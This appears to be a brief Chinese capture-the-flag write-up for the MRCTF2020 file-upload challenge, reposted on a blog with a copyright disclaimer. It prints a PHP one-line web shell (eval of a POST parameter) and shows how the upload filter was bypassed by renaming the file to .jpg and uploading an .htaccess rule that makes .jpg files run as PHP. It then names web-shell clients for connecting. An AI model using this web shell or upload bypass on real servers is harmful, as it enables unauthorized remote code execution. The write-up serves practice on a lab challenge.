打开题目是一道传马的题，那就传~
<?php @eval($_POST['cmd']) ?>
上传文件1.php,传一句话木马，发现失败了，抓包时改包后缀名为.jpg,上传成功！
需要注意的是，这里的原来的.php无法被解析，需要把再上传一个文件.htaccess文件，将.jpg解析成.php
再次上传文件1.htaccess
AddType application/x-httpd-php .jpg
菜刀/蚁剑连接即可
(两次上传顺序都试了下，应该都可以)
BUU [MRCTF2020]你传你🐎呢
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。